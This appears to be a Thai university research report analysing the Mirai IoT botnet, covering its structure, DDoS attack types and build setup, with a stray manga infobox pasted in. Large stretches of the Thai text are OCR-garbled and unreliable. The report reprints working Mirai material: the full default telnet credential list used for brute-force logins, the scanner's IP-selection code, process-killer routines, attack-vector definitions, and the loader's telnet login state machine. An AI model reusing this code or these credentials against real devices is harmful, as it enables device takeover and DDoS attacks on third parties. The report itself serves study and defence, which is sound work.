A1SANEINSZUIUNTTYINIUVDY Mirai Botnet Tuaruiasansauleiuasvas
WAINY1RUNALUIATIIVUIAANTZUAT
The Mirai Botnet Work Process Study in Cybersecurity of Rajamangala
University of Technology Phra Nakhon

nueillasunualivayuatnsudssnutuneld(GTeaadu)ussantauuszanm w.A.2560
AREIAINTTUAIENT UNNINY1FBINALUlATTIVUIAANTZUAT



= o . . o Y 4
NISANYINTZUAUNTSTINIUVBS Mirai Botnet Tuadudasaneaiuloiuasvuas

UNIINY1AYNALULAD TIVUIAAWTZUAT

WgUaNn Uaned

E74

av

uRellaunuatuayuanniuuszanaRusela(Geeaa1tu) Uszandeudssunas w.e. 2560

AMZIAINTTUANEAS UNNINY1ABNALULATSNVUIAANTZUAS



UNANED

o s

npUszasAivefnuinszuiumsyinenulusunsy Mirai Botnet ilNanseny

v

ATeild
pg19lugralsmauuuRInYisEUUBUMasLn @jﬂﬁﬁ%UUg@ﬁ’]i%aﬂLEJE]ﬁﬁIJﬂ’J'W 90,000 AUl
ansoldaudumesileld iliwuudisdgrldllinnideuds 1 T8 dedundt Tunslasdiidu
UsziAnisalvesnslauduuy DDoS MsAnwinszurunsvineuwes Miai Botnet anlAnidle
yhauudinanszvuiu ISP vieswanenadu UniNet fidetnsvesminedes Aeganeld
mMadeudessngmeuen LielvmsunsEUILMIOLLAT AseUiNg 9 TiTlvessruLTiiesents
laufvas Mirai UNsEUUATOUE HAaMIAnYIInlinsudmslaufives Mirai iadugunsaldaman
loT gunsalndesuuszuunTetneild@iglungu ARM ARM7 Motolora 6800 SPC PowerPC x86
SuperH (SHA) Huthmnevesnsland wamsAnuilddeyafifigualusurouiunmsloud il
nstauAnsevinul IPV4 13l IPV6 dlldlaesau 16 Inadlendusiu 138 dandu Tusunsuiiussann
s esusTin Iderldnieustariuson 62 gn nsleufuuy Flood wuuseg ndn 9
WUU LAUALABHIY Nasn 22, 23, 80 SIUANENIUNISAWNY IP Address 9891178971 DoD IANA
wazustilvg) GE HP sefunsldnuvesndesuuaietnesmisinns Telnet waznasn 22 23

A g vaa A A = o o ! A ]
80 v3nlIsNTaUMMINzaNLieTeI N9 Flood WuUsIg 9 NUNANTLNUABIZUU

AndAsy: Aulasndevndleiues vanls Arlowa 1518



Abstract

This research aims to study the Mirai Botnet working process, which made high
bandwidth impacted to Internet system. From 90,000 clients of Deutsche Telekom cannot
access to Internet, that overall bandwidth growth nearly 1 TB per second in the history
DDoS attacking behavior. As Mirai exaggerated attacking to ISPs and may be involved UniNet
as a big umbrella which RMUTP network interconnected as well. The author would like to
study in depth to several weak points of the end devices or IoT on Internet. In the Mirai
code used the loT devices such as the Internet cameras, the CPUs based on ARM, ARM7,
Motorola 6800, SPC, PowerPC, X86 and SuperH (SH4). As the results of valuable attacking
code studied based-on IPV4 attack, without IPV6. The source code has more than 5,500
lines with 16 files and 138 functions included 62 set of user accounts and passwords. Usage
the 9 flooding techniques for port attacking via 22, 23, and 80 with the IP scanning
exceptions for DoD, IANA, GE and HP IP addresses. The Internet camera devices have to
disable 22, 23 and 80 ports or doing suitable usability techniques to manage for several

flooding protection from system harmfully.

Keywords: Cyber security, Botnet, DDoS, Mirai
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wesilnuugunsalfiiiondn 10T (ntemet of Things) wAdnyuNewilsnfe Intemet of Targets ¥89

Botnet wis1zgunsadlunguiifianulsnzunaiasnnulasnfevaeyinanu 8nNInuaeInIsALEsnIn
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Tunshivsmsdumedaungldon  duiudaluanudemeldusnmsiunsgnidrislunuuvenis
Hacking szuu deuudaduniseinlunistesiu siliidedanutsanuddglunsfinwninsinuves
Wawnsy  Mirai  Tunisfianunsedemanssvuliiussuudumesidaarnnanisinnuvesgunsal  loT

Tnelanznaasdumesidannuiunisidausgieninsnsduiiilan

Future Diary

Cover of Future Diary volume 1

REHE
(Mirai Nikki)

SU# 3.1 Mirai Nikki M3guditudeulag 91a18 3glu (wikipedia.org)

NnTofinamdsuandliifiuin Mirai Botnet andefmansznuiifnidunisdeinmamihauses
Botnet lusuianilinainda Mirai Botnet towilWiiidsatosiilansuarinsdendosunfngniiai
Fnsuazwansznuifedrsnndugausseiiunanszuiiin  dawalvdosdnsAanumunaneseuly
AN
199 Botnet fianunsnaisenudemeliitussuudumedidnegnamemail Tassadsosdusznaunes

TUswANSU Mirai Botnet Usenausie 3 @iuvan kazandasnlsenau

1) Bot
2) Loader
3) Command and Control %38 CnC

dos0AUsznousulaln Database wag Script


http://wikipedia.org/
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REHE
(Mirai Nikki)

Genre Action, psychological
thriller,"l romance!?

Manga
Written by Sakae Esuno
Published by Kadokawa Shoten
English NA Tokyopop (former)
publisher Viz Media

Demographic Shonen
Magazine Monthly Shénen Ace

Original run January 26, 2006 —
December 25, 2010

Volumes 12 (List of volumes)
Manga
Future Diary: Mosaic/Paradox/Redial
Written by Sakae Esuno
Published by Kadokawa Shoten

Demographic Shoénen

Magazine Shénen Ace

Original run November 26, 2008 —
July 26, 2013

Volumes 3 (List of volumes)

Anime television series
Directed by Naoto Hosoda
Written by Katsuhiko Takayama

'
a

JUT 3.2 sneaziBenveenisgu Mirai Nikki uazfignudsdunineunsnisgu (wikipedia.ore)

3.3 N1SLAIIUNIS
6 v v a 6 1 v A ¥ = U
INBIALANUTENDUABA1ENUTHNSUABL AN DSADIFIUNENABASITN®Y Go hunsisansuy

TWsunsuldafigniaunumen1end  wasduvesnisinudeyavugiudeyaluduatuld  MySQL-Server
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Aosin1sld MySQL-Client ssguasAusenaulunismaaeulisunsy Mirai Botnet dosanliunisingld
dnuUsznousail

1) gcc

2) golang-go

3) electric-fence

4) mysql-server

5) mysql-client

3.3.1 swRdsznoursesiedmiunungd 9n ecc Adluiloutalusunsy Mirai tufldauves
TUsunsuvdniidfnyetansnvvilsluaosionwesentonndinufon s C uay C Tnetanen
C/C++ HumusaulanazdsdiioliianmsvhauieniSonty Execute fdavide Run Aidslddaesy
wanw gec Mdufoulunislinu Ssennsaudanunlis ¢/Crr duidluedosilélunsnsnasy
nsThudesdimsindausuns scc aansamaiivaniiainsumnesiinlaglidorldine wazaznonly
msfnfauLIzUUUATRNI Linux Mac OS X uag MS Windows Fativihmvedlusunsudeguil 3.3
A11"305895UM T UY Command-line interface (CLD wazwuy GUI vilazaanlunslday

nsdifideulusunsuvdeiiiwesalusunsueguindiinuanaged (72220 @ansavhnig

wlanundlagldmasalugun 3.4 BauuszuuUfuRnas Linux Afluthmedieadsiudeldnuiuy CLI

3.3.2 psrUseneufuwlan® golang-go 1usuvanmu go Felimsldsuiuiuntwndlu
TUswnsy Mirai satudeainnisingsadlunsaaiawsounisnaaaulusinsy lneandluanainiules

299 golang 1n8YNASAARINILTEUU Linux AIUAIET weet

$ sudo apt-get update ;Lﬁ@ﬂ%ﬂﬂqqssuumauﬁ%q Ubuntu Linux

S wget https://storage.googleapis.com/golang/go1.8.3.linux-amdé4.tar.gz ;Lﬁam’aﬁiwamiﬂﬂmiu

$ sudo tar -xvf g01.8.3.linux-amdé4.tar.gz

$ sudo mv go /usr/local jftednelUdidnvaslanea
Tumsasaiielfondoslimguemanudiufio GOROOT GOPATH uay PATH ¢isil

$ export GOROOT=/usr/local/go

$ export GOPATH=$HOME/Projects/Porgy


https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz

7Y mit — -bash — 80x24

Last login

Thu May 11 @8:55:29 on console

[Mits—MacBook:~ mit$ gcc
clang: error:
Mits-MacBook:~ mit$ [

no input files

3
B

U

#1 3.3 NegoundMmuUTNIw gec agluiTos MacBook wiawldanu

7Y mit — -bash — 80x24

[Mits—-MacBook:~ mit$ gcc mirai_test.c —o mirai_test.o
[Mits—-MacBook:~ mit$

[Mits—MacBook:~ mit$ 1s -1 miraix

1 mit staff 83 May 14 14:41 mirai_test.c
1 mit staff 8432 May 14 14:42 mirai_test.ex
1 mit staff 8432 May 14 14:51 mirai_test.o
Mits-MacBook:~ mit$ [

—rw—r——r——
—rWXr—Xr-x
—rWXr—Xr-x

1

U

=
n

3.4 f798719M 58U RwUUTY Command-line UuLASDd MacBook

14
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§ export PATH=$GOPATH/bin:$GOROOT/bin:$PATH fteadaidunisluszuu ~/profile file
#1UYDININAHRY Go

$ go version ; Llaguiesturessuaniu Go

go version g01.8.3 linux/amdé64

$ go env jLleganinundenvesiaLlaniu Go Timfeslunisliay
duvesgudeyaiufvihinisindegrudeye  MysQl  itelilunisifudeyaludues  Hosts

savaneiflflunszuaunisvh DDos  evlsiideyaiivhliausadoansszrinagunsaiiiflesdusznon

wnzauiliiienshlfAnannyssuddeyaumnasnnlunanlaideduiieyiliszuunisideusio

a f & 2 [y
'e]uLW@?LU@N{]@WWIUﬂqia@ﬁ’ﬁﬂU

3.4 1A398519 Mirai

TRasviafignianiaunlfn  Miai  deguansdiuusannsasuunsendudiuvesnmsufoins
dmveIsufds druveanisivaniusunsy duvesiusunsuidsludathmme drureanisvivindils
venieidunit “Bot” druvein1suiduiioland wavedesdona o Tunsdunidivineuwasnisdiils
dieriutoya Fosweveuna Anna-senpai lfiilAnsiaues Miai Usesoonungansisay il

lassaiwazsieazdeauusosnidudiu q feweludl

Mirai code ———-> dlr, loader, mirai, db

dlr ——> release ——> arm, arm7, m68k, mips, ppc, spc, shd

loader —-> bin, source
bin —> arm, arm7, m68k, mips, ppc, spc, sh4

source —> hearders, binary.c, connection.c, server.c, telnet_info.c, util.c

mirai —-> bot, cnc, tools
bot —> attack, checksum, killer, rand, resolve, scanner, table, util
cnc —> admin, api, attack, bot, client list, database (go language)

tools —> badbot, enc, nogdb, scanlisten, single load, wget
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3.5 asAUsznaunsitnlaud

nslauives Mirai Wuluuanwaznsienufitsenda Distributed Denial of Services (DDoS)
asrUsznauTaInIslanAiinasduluseazideausiiiugiu 4 Tunsussolull

3.5.1 TuspuiugIu Tuneuiusenaume 4 dufen1svinisiendiununisendt Agent el
3 Y o o Aa a dy peye Aa 1 v Y Y o 4
Jugvinnsanfiunislanfuuiiugiuves Vulnerabilities vesssuufiiivesinlidiaseuaseaiiednyinl
) ~ % % A4 o Y | a wva = DY o 1Y) wa J o o § &y
finswensweriedlunisldaumenissdevesrujiRnisiielimiouyinugnludd antuinisuilan
g v a v oA Ay A v ) 9 o « ~ v’ o A
Mdalauidnginses Inefidasdiedesdosiulilvissuuresniainsivaeunursowsnueslaindulfny
Limsnganluasesnenagniuldlvvie 38nsilifendy “Compomise” ASasdierpdanisluuudisn
nnuaziinisdesiulisanulseginsesiigniilindu “Zombies” uaziAaande “Victim” fagunis

= 1

Ansnudaundulumuitinisdsentunisdounduriueiesiiy  “Zombies”  io1anuaINgUNT0l

'
o % A =)

WASoTETEH IS IIuIININEWY “Routers”  vide  “Servers”  Bndwfiddryfienisdeans
“Communication” Wumstusuiiumiluiedesfignyiliinsiladusunsudaieunagyimiiiundds
Fosinsinsedeasiudeenaldlusinreasis o erfiu ICMP TCP wiSe UDP daduiuuudeasiues
pufgFonsoutunaeiedos  dwgavneidumslaufnausunsildnanuiedauass Time-to-
live (TTL) snnwintawfielduuudisddunudSunamn 9 ansiuan Packets ids

3.5.2 Uszinmuesnislaud 483 DDoS eguuiiugiuiaiwaives OSI dUftAnsdensonuuy
TUsunsudumslaufiuuaiees 7 %aagjﬁ Application layer ¥89 OSI reference model Adoald HTTP
vido HTTPS tedsludsgnland msahadumnazBinadeyadsluduniondmuneauhlidmune
NeANIYINeU @l Network layer 283015911 DDoS 1 TCP Syn flooding ICMP echo UDP flooding
Wiouu DNS NTP (Jusiu

drumsvhuuulnensuagiiugiunmsagiiou nsduuulaensadunisléeu Zombies oy
f19 9 w03 DDoS WiAnnslaufl winszduludruvesmaislpensagvioutussnigunsaflussuy
wietneiideuderiudufaininislauituunFendn “Reflector-based DDoS attack” lasnsasdoyaly
83 Reflector servers lagvi1n1s Spoofing IP Wiovhidumiemantmneduiuaios Servers fazaay
nduluduaieatmng iudununnuasiteyalunsdunnnituni Tnevihaueide Servers 7ifl UDP

[ Y

uinsegfondunisdsdeyaUsinamnn 9 luu UDP wislituduiniesiigniluldlunisland Wunns
o a a 1 1 a . . 9 £ @ 14
MnuniSendnegnsinisvenenslani “Attack amplification” is1z¥8189M59T195v0s0eYaLTUS Y
WNAALAL AI9819n15VILUULiAe DNS amplication attacks wagyin NTP attacks

3.5.3 Uselavnmslaufuudnsnadng 29innsunnAnanumen1595195904UyauLLAToN8 e

LUSeDNANENT19519300Ya Aasuesleawazauzlauualu 4 Ussinn[31] Sulsun
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) Constant rate attack
) Increasing rate attack
A) Pulsing attack

4) Subgroup attack

1000 — 5000
._m —2500
—_—— T —T——T—T— 0
00s 50s 1005 1505 00 506 0s 20s 40s
n) )

~ 1000 — 20000

’ﬂ f x {q m | 1)m
'J A 0 _

00s 50s 100s 1505

) N))

U7 3.5 Yanaildlunmslanfiuuy n) sediles v) diunislaud a) 1Wuas 9 1) Wudisuunguees(31]

nslaufuuy Constant rate attack Huip3esiilu Zombies Walasumdannglanfazdsdoya

MEENIIAINEIEAlUYINIAMI dIURUL Increasing rate attack (laufdzAByLiuN15ITATIUNN51ANA

WuTuLFe8 9 daukuu Pulsing attack tulanfvzdadgaluvivli Bots laufdussezdu o Judae 9 &u
1 v v [y . 1o . 1 1 1 o I

9 @UATU Subgroup attack ARIBNUKUU Pulsing attact WaR Zombies ganusaantiunguniIuLlu

nqueasiievinliausalan@ladudanaiuuay  ilndAadugienislasfnedeiuiuy Pulsing

attack wALALSEELIA YA ALNUINTU
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Y A J @ Aa o ' A a ¢ & o § wa
mslaudvaduuutuduvgiiiaiu Botnets wuusa o linswuleuulandumesiin vinlvdl
HansenusedliuaseYeneuiiwmeivedantagluegndwihlianisnisinuvesssuuaseviely

aunsalrusnisieegradunvsaasludstulianuisaliusnisle

3.6 ﬂﬁig\‘lﬂﬂiﬂﬂx‘l Botnet

N1549n151U Botnet (Wudiunddusenit Command and Control %158 C&C lnaslangsia

o

[%
& v 14 =

Y04 Mirai 1 0un191 Go d@usi Bot vad Mirai tugniiaiufien1u® tneddnwaensvihaumiiou
Sawaslulneudslailuaesdufiddeylann

n) dunsseysiuniavesaunsal loT Liveldueneguvesdia Mirai Botnet

'
o

%) d@un15laNALUY DDoS NFUAEINNAIN C&C WBINNITHNINTEINENTOYIINTTIANR
muAniugIUlun1slauAAiINITNTIIERULATEYIELNENQUNSINABINITUNSNTEENTD
Toud  Ieeldnisimnanivuguues User account ag Password 9nlssnuuasionldanuiusulauwn

Frewg [raluiiddiulngdu Admin w3 Root dausianuguldisnnsduuieldidnuseain A-Z a-

LY [ 3

z 0-9 wazdgyanuwaliewdy 9 Swdesenildnauansalunislau@ (Dictionary attacks) 3MNF3BEN

181 weanllilussuuAferinn1sas1991nnISYi Brute force LialalsaamudfuIiIdNEIUTD

Y )

MarnivelsunTinfonvseild Tunwseingulidnuiu 26 AIvnusdlosuiamisnesifulngway
U a 6& oQq¥va & ¥ v o « ) N U v a A o g wvao
s iAadudeya 26x2 Mmdnwiilesiuduay 0-9 wIafBnusyivAwdnilvdduulunis

SeaelimaaauLNeMAINGNABIYBY User account Uay Password #edldiiailunisussaiana

v vy
v

Y Ql' v A | o A < = = 1 = 1 o &
W@ﬁllﬂ']’iVNuGUUﬂUigUU‘Ua’]’EWINVH]%L"lJ’]I*’\]QJGD’]EJﬂ'ﬁ‘V]’N"IUVﬁ?@Li'?!LWEJ\‘]I@E]ﬂﬂ']‘LMUQ BFNTTINISNU

[y

< v Ao Y 1 ' o a a (Y
Wutldendragylunisitnganiugnisunsnszatguazaiiunislanauesdalusinsy

v Y
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uni 4

A5719UV9LUSHASY Mirai

[ o 1 I ! L = [ [
NNINE@DUNITNINULUIDDNLUUEIU 9 pNanwaEvealUsUNSNTLdun1®) C A1 Go Wunan

v v a

wazd Shell script melasiidiulsznauidfgassvazidunnaluil

4.1 Yogflduassastululusunsy Mirai Botnet
PNMsRsandINTsresalAnyi e satenLeguininsiauedusunsuoandudi o

lovangdiumulassasinlananduuni 3 Asiuandilusunsudiuveinis Telnet Widaunsel loT

WU Account wag Password BSeaainumaluil

root  xc3511
root  vixxv
root  admin
admin  admin
root 888888
root  xmhdipc
root  default
root  juantech
root 123456
root 54321
support support
root  (none)

admin  password

root root
root 12345
user user

admin  (none)
root  pass

admin admin1234



root 1111
admin  smcadmin
admin 1111

root 666666
root  password
root 1234

root  klv123

Administrator admin

service service

supervisor supervisor

guest  guest
guest 12345
guest 12345
adminl password
administrator 1234
666666 666666
888888 888888
ubnt  bunt

root  klv1234
root  Zteb21
root  hi3518
root  jvbzd

root  anko

root  zlxx.

root  7ujMkoOvizxv

root  7ujMkoOadmin

root  system
root  ikwb
root  dreambox

root user

20
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root realtek
root 00000000
admin 1111111

admin 1234
admin 12345
admin 54321

admin 123456

admin  7ujMkoOadmin
admin 1234

admin  pass

admin  mains

tech tech

mother f***er

29nwsitglunisnsadulgmadalunisiauwuunsenin “Brute force” Wan1SANMLAIG

N

4.2 N1TNIITAUNEIUYDINITHNINTZANY
nstaudie HTTP Falugunsaidssian loT dwlnglisessuiieasaintunmsiluaiununis
aunsensaldeu fsiegnsuans WWumslaufnsendn HTTP floops 7 OSI Layer 3 5o Layer 4

Fadugainihaulalunisineuves Mirai

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/52.0.2743.116 Safari/537.36
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Mozilla/5.0 (Macintosh; Intel Mac OS X 10 11 6) AppleWebKit/601.7.7 (KHTML, like Gecko)
Version/9.1.2 Safari/601.7.7

FIUANUANNITAVBY Mirai Botnet @1unsavinnislaudlavianekuusiy GRE IP, GRE ETH floods
Wiavhng SYN ACK floods 5auviauy STOMP floods @3 STOMP gaunann Simple Text Oriented

Message Protocol 59119 DNS floods, UDP floods \ielaus

#define TABLE_ATK DOSARREST 45 // "server: dosarrest"
#define TABLE_ATK CLOUDFLARE NGINX 46 // "server: cloudflare-nginx"

if (util_stristr(generic_memes, ret, table retrieve val(TABLE ATK CLOUDFLARE NGINX, NULL)) !=
-1)
conn->protection_type = HTTP_PROT CLOUDFLARE;

if (util_stristr(generic_memes, ret, table_retrieve val(TABLE ATK DOSARREST, NULL)) != -1)
conn->protection_type = HTTP_PROT DOSARREST;

4.3 MIEUNUATITHDY
a a v Ka—" a | A a Y o
aennthaulalulusunsuves Mirai flevinnisvaudesnisivawny IP vewmtisnuiineitesiv
SumesilaievhlinAnniswuslurazBuswiinulaen Taednisawnuiuvduwaziniswiniaesuss

S19N548% 1P AIAIUATS

static ipv4_t get_random_ip(void)
{

uint32_t tmp;

uint8_t ol, 02, 03, o4;

do
{

tmp = rand_next();



ol = tmp & 0xff;

02 = (tmp >> 8) & 0xff;

03 = (tmp >> 16) & Oxff;

o = (tmp >> 24) & Oxff;
}

while (01 == 127 || //127.0.0.0/8 - Loopback
(01 ==0)|| //0.0.0.0/8 - Invalid address space
(01 ==23) || // 3.0.0.0/8 - General Electric Company
(01 ==15]| ol == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(01 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 ==10) || //10.0.0.0/8 - Internal network
(01 == 192 && 02 == 168) || // 192.168.0.0/16 - Internal network

(01 ==172&& 02 >= 16 && 02 < 32) || // 172.16.0.0/14 - Internal network
(01 == 100 && 02 >= 64 && 02 < 127) || // 100.64.0.0/10 - IANA NAT reserved

(0l == 169 && 02 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(01 == 198 && 02 >= 18 && 02 < 20) || = // 198.18.0.0/15 - IANA Special use
(o1 >=224) || /] 224.%* ¥+ - Multicast

(01 ==6|lol ==7| ol ==11] ol == 21 || ol == 22 || 0l == 26 || o1 == 28 || 01 == 29 || o1 == 30 ||
0l ==33|| ol == 55| ol == 214 || ol == 215) // Department of Defense
);

return INET_ADDR(01,02,03,04);

127.0.0.0/8 - Loopback

0.0.0.0/8 - Invalid address space
3.0.0.0/8 - General Electric (GE)
15.0.0.0/7 - Hewlett-Packard (HP)
56.0.0.0/8 - US Postal Service
10.0.0.0/8 - Internal network
192.168.0.0/16 - Internal network
172.16.0.0/14 - Internal network

100.64.0.0/10 - IANA NAT reserved
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169.254.0.0/16 - IANA NAT reserved
198.18.0.0/15 - IANA Special use

224 % * * - Multicast

6.0.0.0/7 - Department of Defense
11.0.0.0/8 - Department of Defense
21.0.0.0/8 - Department of Defense
22.0.0.0/8 - Department of Defense
26.0.0.0/8 - Department of Defense
28.0.0.0/7 - Department of Defense
30.0.0.0/8 - Department of Defense
33.0.0.0/8 - Department of Defense
55.0.0.0/8 - Department of Defense
214.0.0.0/7 - Department of Defense

A O oV yva ° s A 9 Yo so A o A v ya v %
@ﬂmﬂﬂ\ﬂﬂllﬂ’]imqaqﬂiﬂil’%ﬁﬂ@ﬂwaﬁmLWE)VLZJI‘W@J@LL’JiG\'JEJUV]']ﬂ'WiLGUEJlIL‘?ﬂll'ﬂ@l@ﬂ@nﬂm’]@ﬂﬂ@

ANUAS

killer_kill_by port(htons(23)) // Kill telnet service

killer_kill_by port(htons(22)) // Kill SSH service

killer_kill_by port(htons(80)) // Kill HTTP service

Wadeld33n1s7i3enIn Memory Scraping Lﬁav‘fﬂﬁmmsﬂ%msmmaﬁ’waaq‘dﬂim‘lé’asmﬁl,ﬁam’fﬂ%

Nulpglidawsiaudunsuniule

#DEFINE TABLE_MEM_QBOT // REPORT 9%5:%5

#DEFINE TABLE._ MEM_QBOT2 // HTTPFLOOD

#DEFINE TABLE._MEM_QBOT3 // LOLNOGTFO

#DEFINE TABLE_MEM_UPX // \X58\XAD\XAE\XAE\XA3\X50\XA6\X 22
#DEFINE TABLE_ MEM_ZOLLARD // ZOLLARD

A O v a a A o .
Annagetinnsaunievinaneldsewd anime

searching for .anime process
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table_unlock val(TABLE KILLER ANIME);
// If path contains ".anime" kill.

if (util_stristr(realpath, rp_len - 1, table retrieve val(TABLE KILLER ANIME, NULL)) I= -

unlink(realpath);
kill(pid, 9);
}
table lock val(TABLE KILLER ANIME);

O U A = < N [y X v =) [y
vedalifuagindulusunsuignitmudulaesnsadevioauanUsandluglsung fuseningy
finwsadelulsunsy waneralunsasaiieassbidinlaieiduld egludmulusunsy admin.go
// Get username

this.conn.SetDeadline(time.Now().Add(60 * time.Second))

this.conn.Write([Joyte("\033[34;1mN0NMb30BATENb\033[33;3m: \033[0m”)) //user
// Get password
this.conn.SetDeadline(time.Now().Add(60 * time.Second))

this.conn.Write([Joyte("\033[34;1mNAPOIb\033[33;3m: \033[0m”)) // password

wazdaauan augeuinianln lun1wsade Tulwa prompt.txt

“q nobno KYPUHbIE HalreTCbl”

4.4 ns1auf

mislauisgneudevarsduusasdndauddyionisufifou Tufituiadu 10 wuuiign
svuslulusunsuniwnd Wumsin Flood anmelulusunsilsynaudediuitisdasnisinaeu o
TWswnsutulgindunisyin Flood Taei3uann UDP flood VSE flood DNS SYN flood ACK flood GRE IP
flood GRE Ethernet flood Proxy knokback HTTP layer 7 flood s1un1s #define Gi@iﬂfj

#define ATK VEC UDP 0 /* Straight up UDP flood */
#define ATK VEC VSE 1 /* Valve Source Engine query flood */



#define ATK VEC DNS 2 /* DNS water torture */

#define ATK VEC SYN 3 /* SYN flood with options */

#define ATK VEC ACK 4 /* ACK flood */

#define ATK VEC STOMP 5 /* ACK flood to bypass mitigation devices */
#define ATK VEC GREIP 6 /* GRE IP flood */

#define ATK VEC GREETH 7 /* GRE Ethernet flood */

//#define ATK_VEC_PROXY 8 /* Proxy knockback connection */

#define ATK VEC UDP_PLAIN 9 /* Plain UDP flood optimized for speed */
#define ATK VEC HTTP 10 /* HTTP layer 7 flood */

UDP attacks: Generic Routing Encapsulation (GRE) TSource Query &gz DNS flood
TCP attacks: Syn flood Ack flood
HTTP attacks: GET POST

4.5 Wvaneiiglay

Tulsunsudsdliduhiinsglasfifnangunsallunguildundes loT Fefinsldan
lulnsaeulnsaians fail
drwxr-xr-x@ 10 mit staff 340 Oct 31 2016 .
drwxr-xr-x@ 5 mit staff 170 Oct 31 2016 ..
-rwxr-xr-x@ 1 mit staff 1168 Oct 31 2016 dlr.arm
-Twxr-xr-x@ 1 mit staff 1664 Oct 31 2016 dlr.arm7
-Twxr-xr-x@ 1 mit staff 1248 Oct 31 2016 dlr.mé8k
-rwxr-xr-x@ 1 mit staff 2000 Oct 31 2016 dlr.mips
-rwxr-xr-x@ 1 mit staff 2032 Oct 31 2016 dlr.mpsl
-rwxr-xr-x@ 1 mit staff 1412 Oct 31 2016 dlr.ppc
-rwxr-xr-x@ 1 mit staff 1200 Oct 31 2016 dlr.sh4
-rwxr-xr-x@ 1 mit staff 1288 Oct 31 2016 dlr.spc
nnteyaildwoasuldindudfiglugunsaindesdumesidn

ARM

ARM7
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MIPS

Motorola 6800
PowerPC

SPC

x86

SuperH (sh4)
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/* stdlib calls */
int xsocket(int, int, int);
int xwrite(int, void *, int);
int xread(int, void *, int);
int xconnect(int, struct sockaddr_in *, int);
int xopen(char *, int, int);
int xclose(int);

void x__exit(int);
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4.6 Server
@ Server Huilldn 639 ussiawsiduAntaulafenisidielnsummenis Telnet waziinis
bind core fUfighazyNI@NTRNGAE pthread TIRNTATIFRUNUIIAIUTIALYIINITALU

ToyandlusunIUAILEN

void server telnet probe(struct server *srv, struct telnet info *info)

int fd = util_socket and bind(srv);
struct sockaddr_in addr;

struct connection *conn;

struct epoll_event event;

int ret;

struct server_worker *wrker = &srv->workers[ATOMIC INC(&srv->curr_worker_child) % srv-

>workers_len];

if (fd == -1)



if (time(NULL) % 10 == 0)

printf("Failed to open and bind socket\n");

ATOMIC_DEC(&srv->curr_open);

return;

while (fd >= (srv->max_open * 2))

printf("fd too big\n");

conn->fd = fd;

#ifdef DEBUG

printf("Can't utilize socket because client buf is not large enough\n");

#endif

connection_close(conn);
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return;

if (srv == NULL)

printf("srv == NULL 4\n");

conn = srv->estab_conns[fd];

memcpy(&conn->info, info, sizeof (struct telnet info));

conn->srv = srv,

conn->fd = fd;

connection_open(conn);

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = info->addr;

addr.sin_port = info->port;

ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));

if (ret == -1 && errno != EINPROGRESS)

30



printf("got connect error\n");

event.data.fd = fd;

event.events = EPOLLOUT;

epoll_ctlwrker->efd, EPOLL CTL ADD, fd, &svent);

static void bind_core(int core)

pthread t tid = pthread_self(),

Cpu_set t cpuset;

CPU_ZERO(&cpuset);

CPU_SET(core, &cpuset);
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if (pthread _setaffinity np(tid, sizeof (cpu_set t), &cpuset) I= 0)

printf("Failed to bind to core %d\n", core);

static void *worker(void *arg)

struct server worker *wrker = (struct server_worker *)arg;

struct epoll_event events[128];

bind_core(wrker->thread_id);

while (TRUE)

int i, n = epoll_wait(wrker->efd, events, 127, -1);
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if (n ==-1)

perror("epoll_wait");

for(i=0;i<n;i++)

handle_event(wrker, &eventslil);

static void handle_event(struct server_worker *wrker, struct epoll_event *ev)

struct connection *conn = wrker->srv->estab_conns[ev->data.fd];

if (conn->fd == -1)

conn->fd = ev->data.fd;

connection_close(conn);

return;
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daunsindemens Telnet vinlilAnn1sianuegesaiilosnied while(TRUE) lnevinlugy
YOIAAS switch(conn->state_telnet) auan1uzns Telent dunansarulunisinaumulusunsy

fnuasnesalull

while (TRUE)

int consumed;

switch (conn->state telnet)

case TELNET READ_IACS:
consumed = connection consume_iacs(conn);
if (consumed)
conn->state_telnet = TELNET USER PROMPT;
break;
case TELNET _USER PROMPT:

consumed = connection_consume_login_prompt(conn);
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if (consumed)

util_sockprintf(conn->fd, "%s", conn->info.user);

strcpy(conn->output_buffer.data, "\r'\n");

conn->output_buffer.deadline = time(NULL) + 1;

conn->state telnet = TELNET PASS PROMPT;

break;

case TELNET PASS PROMPT:

consumed = connection consume_password_prompt(conn);

if (consumed)

util_sockprintf(conn->fd, "%s", conn->info.pass);

strcpy(conn->output_buffer.data, "\'\n");

conn->output_buffer.deadline = time(NULL) + 1;
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conn->state_telnet = TELNET WAITPASS PROMPT; // At the very least it will
print SOMETHING

break;

case TELNET WAITPASS PROMPT:

if ((consumed = connection_consume_prompt(conn)) > 0)

util_sockprintf(conn->fd, "enable\r\n");

util_sockprintflconn->fd, "shell\r\n");

util_sockprintflconn->fd, "sh\r\n");

conn->state_telnet = TELNET CHECK LOGIN;

break;

case TELNET CHECK LOGIN:

if (consumed = connection_consume_prompt(conn)) > 0)



#ifdef DEBUG

#endif

util_sockprintflconn->fd, TOKEN QUERY "\r\n");

conn->state_telnet = TELNET VERIFY LOGIN;

break;

case TELNET VERIFY LOGIN:

consumed = connection_consume._ verify login(conn);

if (consumed)

ATOMIC INC(&wrker->srv->total_logins);

printf("[FD%d] Succesfully logged in\n", ev->data.fd),

util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_ QUERY "\\n")

conn->state_telnet = TELNET PARSE PS;
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n\r\n u);

break;

case TELNET PARSE PS:

if (consumed = connection _consume_psoutput(conn)) > 0)

util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN QUERY

conn->state_telnet = TELNET PARSE MOUNTS;

break;

case TELNET_PARSE_MOUNTS:

consumed = connection_consume mounts(conn);

if (consumed)

conn->state_telnet = TELNET READ WRITEABLE;

break;

case TELNET READ WRITEABLE:
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consumed = connection_consume_written_dirs(conn);

